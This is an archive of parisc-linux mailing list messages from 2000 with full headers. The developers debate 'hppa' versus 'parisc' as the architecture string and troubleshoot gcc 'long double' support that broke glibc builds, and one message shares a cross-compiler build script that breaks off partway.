> Hi,
> 
> In keeping with the way things are done on other Linux platforms, I
> would like us to start using the following architecture strings for
> configuring our compilers:
> 
> 32-bit userland and kernel, PA1.1: hppa-linux
> 64-bit kernel, PA2.0:              hppa64-linux
> 
> I guess this means that I volunteer to update the recipes on the
> website :-)
> 
> config.guess will return a more detailed string, such as
> 'hppa2.0-unknown-linux-gnu', but these should be the canonical,
> lowest-common-denominator strings.  In particular, we should revise
> the recipes and such to use them and configure dpkg-architecture to
> set DEB_GNU_HOST_ARCH to 'hppa-linux'.
> 
> I have not been able to get a solid answer out of anyone regarding
> whether it is possible or desireable to use 'parisc-' instead of
> 'hppa-', so I will leave it as 'hppa' for the time being.  It is easy
> enough to make 'parisc' an alias for 'hppa' if we want to.
> 
> Some pros and cons of using 'parisc' vs. 'hppa':
> 
>  * Pro: hppa*-linux targets produce very different 32-bit object code,
>    as well as different 64-bit assembly code, so it may be beneficial
>    to distinguish them from other PA-RISC targets.
> 
>  * Pro: I'm told that people at HP want to use 'parisc'.  Could those
>    people please stand up :-)
> 
>  * Con: config.guess [1] will presumably return hppa*-*-linux-gnu.
> 
>  * Con: Every other operating system on PA-RISC uses hppa*-*-*.
> 
> (I know there are some more but I can't think of them right now)
> 
> Please remember that, now that we are entering userspace, any
> decisions of this sort that we make are going to stick with us
> forever. [2]
> 
>>>>>> details on [1] and [2] removed <<<<<<<<<<<<<

My 2 cents on this architecture string:
I see the string contains 4 fields. For other linux implementations, what do
these fields mean? From what I see of it, is it:
<processorfamily>-<supplier>-<operatingsystem>-<???> ??

For the processorfamily, I would say 'parisk', without the HP in the name.
That's for the next field: it is an HP processor.

Compare it with the use on other platforms: For the base PC, it would be
i386-intel-linux-gnu or i386-amd-linux-gnu if there is difference between
the 2 i386 processors between intel and linux which makes a difference in
the configuration. If there is no difference between intel and amd at this
level, leave the supplier as unknown. For the 80386 type processors, there
is no difference to linux, hence: i386-unknown-linux-gnu. For the i686 type
processors it would be i686-intel-linux-gnu for Intels pentiumII and
i686-amd-linux-gnu for the amds K6.

How is it done on other platforms as the sparc, alpha and i386?



CB



-- 
RAM = Rarely Adequate Memory
Corne' Beerse					| Alcatel Telecom Nederland
mailto:beerse@ats.nld.alcatel.nl		| Postbus 3292
talkto:+31(70)3079108 faxto:+31(70)3079191	| NL-2280 GG  Rijswijk


From - Thu Nov 08 21:12:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Architecture string change
Date: 11 Jul 2000 10:28:21 -0400
Organization: Linuxcare, Inc.
Lines: 46
Approved: news@gmane.org
Message-ID: <87k8esbv22.fsf@linuxcare.com>
References: <20000711015547.19021BEC2@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618996 1376 80.91.229.3 (22 Nov 2014 01:16:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, debian-parisc@lists.debian.org
To: Bdale Garbee <bdale@gag.com>
Original-X-From: dhd@linuxcare.com  Tue Jul 11 08:28:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA21656
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jul 2000 08:28:27 -0600
Original-Received: (qmail 26761 invoked by uid 15267); 11 Jul 2000 14:29:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26716 invoked from network); 11 Jul 2000 14:29:56 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 11 Jul 2000 14:29:56 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13C11J-0007NF-00; Tue, 11 Jul 2000 10:28:21 -0400
In-Reply-To: Bdale Garbee's message of "Mon, 10 Jul 2000 19:55:47 -0600 (MDT)"
Original-Lines: 45
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7536

Bdale Garbee <bdale@gag.com> writes:

> When I asked about the apparent confusion a while back, I got the very
> strong indication that the parisc-linux community wanted to use 'parisc' for
> the arhitecture string in Debian space... so that's the direction I've been

Well, there's no reason why DEB_HOST_GNU_CPU has to be the same as
DEB_HOST_ARCH.  Although I think I've seen a few debian/rules files
(including one of my own at one point) that do things like this:

build:
        ./configure --host=$(DEB_HOST_ARCH)-linux

Just to make it clear, this discussion is about DEB_HOST_GNU_CPU,
i.e. the CPU part of the string returned by config.guess and accepted
by configure, autoconf, and automake.

> I have no emotional loading on this one, I just want to know the answer.  :-)

I'm a bit biased towards 'hppa' just because it is the currently
accepted convention with all the GNU software out there.  Also it will
be a bit of a hack to config.guess to return parisc*, because we'll
end up only doing it on Linux.  Also, if we go with 'parisc', then:

(a) We need to send patches for config.guess and config.sub to the
    automake and autoconf people NOW.
(b) We must be prepared to manually update config.guess and config.sub
    in basically every piece of software we build. [1]

> We *must* decide this once and for all *very* soon.  Pretty please.

Yup :-)

[1] On Alpha, there continue to be annoying problems when building GNU
software because config.guess (which is part of autoconf) knew about
the PCA56 and EV6 subarchitectures long before config.sub (which is
part of automake) did, and thus configuring would always fail unless
--host=alpha-linux (or some other recognizable architecture string)
was specified.  Because the maintainer has to manually update
config.guess and config.sub, lots of packages still have old versions
that break...

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Don't rebuild gcc/glibc yet
Date: 11 Jul 2000 11:06:37 -0400
Organization: Linuxcare, Inc.
Lines: 21
Approved: news@gmane.org
Message-ID: <87em50btaa.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618996 1377 80.91.229.3 (22 Nov 2014 01:16:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Tue Jul 11 09:06:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA22406
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jul 2000 09:06:19 -0600
Original-Received: (qmail 941 invoked by uid 15267); 11 Jul 2000 15:07:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 925 invoked from network); 11 Jul 2000 15:07:50 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 11 Jul 2000 15:07:50 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13C1cN-0006zT-00
	for <parisc-linux@thepuffingroup.com>; Tue, 11 Jul 2000 11:06:39 -0400
Original-Lines: 20
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7537

Hi,

glibc is currently a bit borken, probably because I foolishly tried to
enable 'long double' support in gcc:

/home/dhd/src/parisc/glibc-build/libc.a(vfscanf.o): In function `_IO_vfscanf':
/home/dhd/src/parisc/glibc/stdio-common/vfscanf.c:1582: undefined reference to `_U_Qfneg'
/home/dhd/src/parisc/glibc-build/libc.a(strtold.o): In function `__strtold_internal':
/home/dhd/src/parisc/glibc/stdlib/strtod.c:532: undefined reference to `_U_Qfcnvff_sgl_to_quad'

Is the long double stuff in gcc supposed to work at all?  (i.e. are
there definitions of those functions anywhere?)  I get 'sizeof(long
double) == 0' when configuring glibc, but strangely enough it still
wants to use them...

For now I'll back out that bit in gcc.  Sorry about this.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Don't rebuild gcc/glibc yet
Date: Tue, 11 Jul 2000 09:16:18 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <4567.963328578@upchuck>
References: <87em50btaa.fsf@linuxcare.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618997 1379 80.91.229.3 (22 Nov 2014 01:16:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: law@upchuck.cygnus.com  Tue Jul 11 09:14:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA22771
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jul 2000 09:14:25 -0600
Original-Received: (qmail 9143 invoked by uid 15267); 11 Jul 2000 15:15:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9132 invoked from network); 11 Jul 2000 15:15:56 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 11 Jul 2000 15:15:56 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id JAA04570;
	Tue, 11 Jul 2000 09:16:18 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of 11 Jul 2000 11:06:37 EDT.
             <87em50btaa.fsf@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7538


  In message <87em50btaa.fsf@linuxcare.com>you write:
 > Is the long double stuff in gcc supposed to work at all? 
Yes.

  > (i.e. are there definitions of those functions anywhere?) 
I believe they're in libc.a or milli.a on hpux systems.

  > I get 'sizeof(long double) == 0' when configuring glibc, but
  . strangely enough it still wants to use them...
You should never get sizeof long double == 0 -- if long doubles are
not supported, they should be treated like doubles.
jeff


From - Thu Nov 08 21:12:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jason@equator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Linux Kernel and PA-RISC
Date: Wed, 24 Mar 1999 13:16:48 -0800 (PST)
Lines: 16
Approved: news@gmane.org
Message-ID: <199903242116.NAA25002@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618997 1385 80.91.229.3 (22 Nov 2014 01:16:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:37 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: jason@gatekeeper.equator.com  Wed Mar 24 16:17:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA01816
	for <hppa-linux@sod.res.cmu.edu>; Wed, 24 Mar 1999 16:16:58 -0500
Original-Received: (qmail 3492 invoked by uid 15267); 24 Mar 1999 21:15:48 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 3485 invoked from network); 24 Mar 1999 21:15:48 -0000
Original-Received: from gatekeeper.equator.com (jason@204.137.130.1)
  by mailserv2.iuinc.com with SMTP; 24 Mar 1999 21:15:48 -0000
Original-Received: (from jason@localhost)
	by gatekeeper.equator.com (8.9.1a/8.9.1) id NAA25002
	for hppa-linux@thepuffingroup.com; Wed, 24 Mar 1999 13:16:48 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:7539


>
>
> My understanding of PA equivalent:
>
 ...
> 	
> 	One other question is whats happening to space registers when
> 	you are running in real mode ?
>

  In real mode the space register field of the load/store/cache instructions
  is ignored so that the effective address is just the 32-bit offset.

  Jason.


From - Thu Nov 08 21:12:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Don't rebuild gcc/glibc yet
Date: 11 Jul 2000 11:42:49 -0400
Organization: Linuxcare, Inc.
Lines: 24
Approved: news@gmane.org
Message-ID: <878zv8brly.fsf@linuxcare.com>
References: <4567.963328578@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618997 1387 80.91.229.3 (22 Nov 2014 01:16:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: dhd@linuxcare.com  Tue Jul 11 09:42:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA23649
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jul 2000 09:42:33 -0600
Original-Received: (qmail 6689 invoked by uid 15267); 11 Jul 2000 15:44:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6667 invoked from network); 11 Jul 2000 15:44:04 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 11 Jul 2000 15:44:04 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13C2BP-0006WY-00; Tue, 11 Jul 2000 11:42:51 -0400
In-Reply-To: Jeffrey A Law's message of "Tue, 11 Jul 2000 09:16:18 -0600"
Original-Lines: 23
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7540

Jeffrey A Law <law@cygnus.com> writes:

>   > (i.e. are there definitions of those functions anywhere?) 
> I believe they're in libc.a or milli.a on hpux systems.

Yes, actually, gcc/config/pa/quadlib.c, as I discovered when looking
at the other PA targets.

>   > I get 'sizeof(long double) == 0' when configuring glibc, but
>   . strangely enough it still wants to use them...
> You should never get sizeof long double == 0 -- if long doubles are
> not supported, they should be treated like doubles.

Yeah, I realized why that is, it's because glibc's configure.in does:

dnl check for the size of 'long double'.
AC_CHECK_SIZEOF(long double, 0)

Which makes sense :-)

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Don't rebuild gcc/glibc yet
Date: 11 Jul 2000 12:12:58 -0400
Organization: Linuxcare, Inc.
Lines: 18
Approved: news@gmane.org
Message-ID: <873dlgbq7p.fsf@linuxcare.com>
References: <4774.963331170@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618998 1390 80.91.229.3 (22 Nov 2014 01:16:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: law@cygnus.com
Original-X-From: dhd@linuxcare.com  Tue Jul 11 10:12:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA24451
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jul 2000 10:12:45 -0600
Original-Received: (qmail 7687 invoked by uid 15267); 11 Jul 2000 16:14:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7628 invoked from network); 11 Jul 2000 16:14:13 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 11 Jul 2000 16:14:13 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13C2eY-0001vO-00; Tue, 11 Jul 2000 12:12:58 -0400
In-Reply-To: Jeffrey A Law's message of "Tue, 11 Jul 2000 09:59:30 -0600"
Original-Lines: 17
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7541

Jeffrey A Law <law@cygnus.com> writes:

>   In message <878zv8brly.fsf@linuxcare.com>you write:
>   > Yes, actually, gcc/config/pa/quadlib.c, as I discovered when looking
>   > at the other PA targets.
> Ah.  Actually quadlib.c is just a front-end to routines provided
> elsewhere by the hpux libraries.

Right, I found that out the hard way :(

I suspect that I'll just turn it off for Linux for the time being, as
I don't know how difficult it will be to reimplement those, and
whether there is a good reason to or not.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GCC troubles over
Date: 11 Jul 2000 13:01:31 -0400
Organization: Linuxcare, Inc.
Lines: 12
Approved: news@gmane.org
Message-ID: <87ya38a9ec.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618998 1393 80.91.229.3 (22 Nov 2014 01:16:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Tue Jul 11 11:01:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA25439
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jul 2000 11:01:20 -0600
Original-Received: (qmail 553 invoked by uid 15267); 11 Jul 2000 17:02:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 527 invoked from network); 11 Jul 2000 17:02:47 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 11 Jul 2000 17:02:47 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13C3PZ-00046H-00
	for <parisc-linux@thepuffingroup.com>; Tue, 11 Jul 2000 13:01:33 -0400
Original-Lines: 11
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7542

Okay, my brief flirtation with 'long double' support is over, and GCC
appears to compile and work again for 32- and 64-bit targets (i.e. it
compiles, and it builds glibc).

Now would be a good time to update your CVS trees.

Sorry about that folks.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Architecture string change
Date: Wed, 12 Jul 2000 02:15:24 +0800
Lines: 33
Approved: news@gmane.org
Message-ID: <20000712021522.D30228@neep.com.au>
References: <87og45bqxh.fsf@linuxcare.com> <20000711015547.19021BEC2@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618998 1398 80.91.229.3 (22 Nov 2014 01:16:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Tue Jul 11 12:14:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA26608
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jul 2000 12:14:09 -0600
Original-Received: (qmail 17286 invoked by uid 15267); 11 Jul 2000 18:15:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17259 invoked from network); 11 Jul 2000 18:15:39 -0000
Original-Received: from urban.iinet.net.au (203.59.24.231)
  by mailserv2.iuinc.com with SMTP; 11 Jul 2000 18:15:39 -0000
Original-Received: from guinness.neep.com.au (reggae-10-49.nv.iinet.net.au [203.59.94.49])
	by urban.iinet.net.au (8.8.7/8.8.7) with ESMTP id CAA12726
	for <parisc-linux@thepuffingroup.com>; Wed, 12 Jul 2000 02:15:32 +0800
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id CAA00277
	for parisc-linux@thepuffingroup.com; Wed, 12 Jul 2000 02:15:28 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.4i
In-Reply-To: <20000711015547.19021BEC2@rover.gag.com>; from bdale@gag.com on Mon, Jul 10, 2000 at 07:55:47PM -0600
X-URL: http://www.neep.com.au/~andrew/
Xref: news.gmane.org gmane.linux.ports.parisc:7543

One more vote for 'parisc'.  Is anyone counting?

I haven't seen good, clear reasoning yet as to why 'parisc' does not
adequately fit the requirements and 'hppa' does.

Bdale said:
> ... no messages have passed the debian-parisc list yet despite over 50
> subscribers ...

Surely you exaggerate, I see _ten_ messages in my debian-parisc box, not
including the subscription confirmation emails!

But seriously, I would guess that most of the subscribers are userland
hackers, not kernel people ... or, like me, aren't hackers at all,
they're just sad lonely people who own an HP box and like being on
mailing lists.  =)

When the announcement is made "okay, userland works and we're not going
to change anything any more, at least not without big huge announcements"
and people can start working with gusto on building packages, I'm sure
the list traffic will go up considerably.

We're just waiting for you to show us the way, in other words.  =)

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:12:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Architecture string change
Date: Tue, 11 Jul 2000 14:36:11 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200007111836.OAA05762@hiauly1.hia.nrc.ca>
References: <20000712021522.D30228@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618999 1403 80.91.229.3 (22 Nov 2014 01:16:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: andrew@neep.com.au (Andrew Shugg)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Jul 11 12:34:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA27159
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jul 2000 12:34:54 -0600
Original-Received: (qmail 7633 invoked by uid 15267); 11 Jul 2000 18:36:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7586 invoked from network); 11 Jul 2000 18:36:23 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 11 Jul 2000 18:36:23 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA05762;
	Tue, 11 Jul 2000 14:36:11 -0400 (EDT)
In-Reply-To: <20000712021522.D30228@neep.com.au> from "Andrew Shugg" at Jul 12, 2000 02:15:24 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7544

> 
> One more vote for 'parisc'.  Is anyone counting?
> 
> I haven't seen good, clear reasoning yet as to why 'parisc' does not
> adequately fit the requirements and 'hppa' does.

>From an early version of the HP Precision Architecture and Instruction Set
Reference Manual, 

  HP Precision Architecture is the framework for Hewlett-Packard's HP3000/900
  and HP9000/800 computer systems.  It is an extension of the architecture
  principles of the Reduced Instruction Set Computer(RISC).

The main point is that the Precision Architecture is an extension to the RISC
concept.  The parisc label implies that it is RISC and not an extension.

>From a practical standpoint, I wouldn't like to see hppa dropped.  Thus,
I vote for no change.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:12:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] recipe.puffin
Date: Tue, 11 Jul 2000 12:17:31 -0700 (PDT)
Lines: 108
Approved: news@gmane.org
Message-ID: <200007111917.MAA13540@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618999 1406 80.91.229.3 (22 Nov 2014 01:16:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:39 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Jul 11 13:18:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA27946
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 Jul 2000 13:18:44 -0600
Original-Received: (qmail 21606 invoked by uid 15267); 11 Jul 2000 19:20:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20752 invoked from network); 11 Jul 2000 19:19:14 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 11 Jul 2000 19:19:14 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 02206151E
	for <parisc-linux@thepuffingroup.com>; Tue, 11 Jul 2000 12:15:35 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id MAA13540
	for parisc-linux@thepuffingroup.com; Tue, 11 Jul 2000 12:17:31 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7545

Hi all,
Appended is an updated script I run to build binutils/gcc
on an i686-linux host. Please post corrections...

enjoy,
grant

#!/bin/sh -ex
# build the xcompiler and glibc recipe
# 5/2000
# willy, pb, taggart, grundler, others

# make sure we don't get anything from any existing $PREFIX/bin
PATH=/usr/local/bin:/usr/bin:/bin

# Top level
TOP=/linux/grundler

# Where your checked-out CVS sources live
SRC=$TOP

# Where your build sub-dirs go
BUILD=$TOP/xc-build

# Where to put the final bits, needs to be owned by the
# current user(to avoid sudo games)
PREFIX=/opt/puffin

# narrow or wide mode bits?
TARGET=hppa-linux

set -- `getopt uwrRp: $*`

while [ $# -gt 0 ]
do
	case $1 in
	-u) cd $TOP
	    cvs -z3 update -d binutils-2.10 gcc glibc
	    ;;
	-R) rm -fr $BUILD/build-gcc $BUILD/build-binutils
	    ;;
	-r) rm -rf $PREFIX/*
	    ;;
	-w) TARGET=hppa64-linux
	    BUILD=${BUILD}64
	    PREFIX=${PREFIX}64
	    ;;
	-p) if [ -d $2 ]
	    then
		PREFIX=$2
	        shift
	    else
		echo "-p $2 is not a directory."
		exit 2
	    fi
	    ;;
	--)
	    ;;

	*)  set +x
	    echo "Invalid parameter: $1"
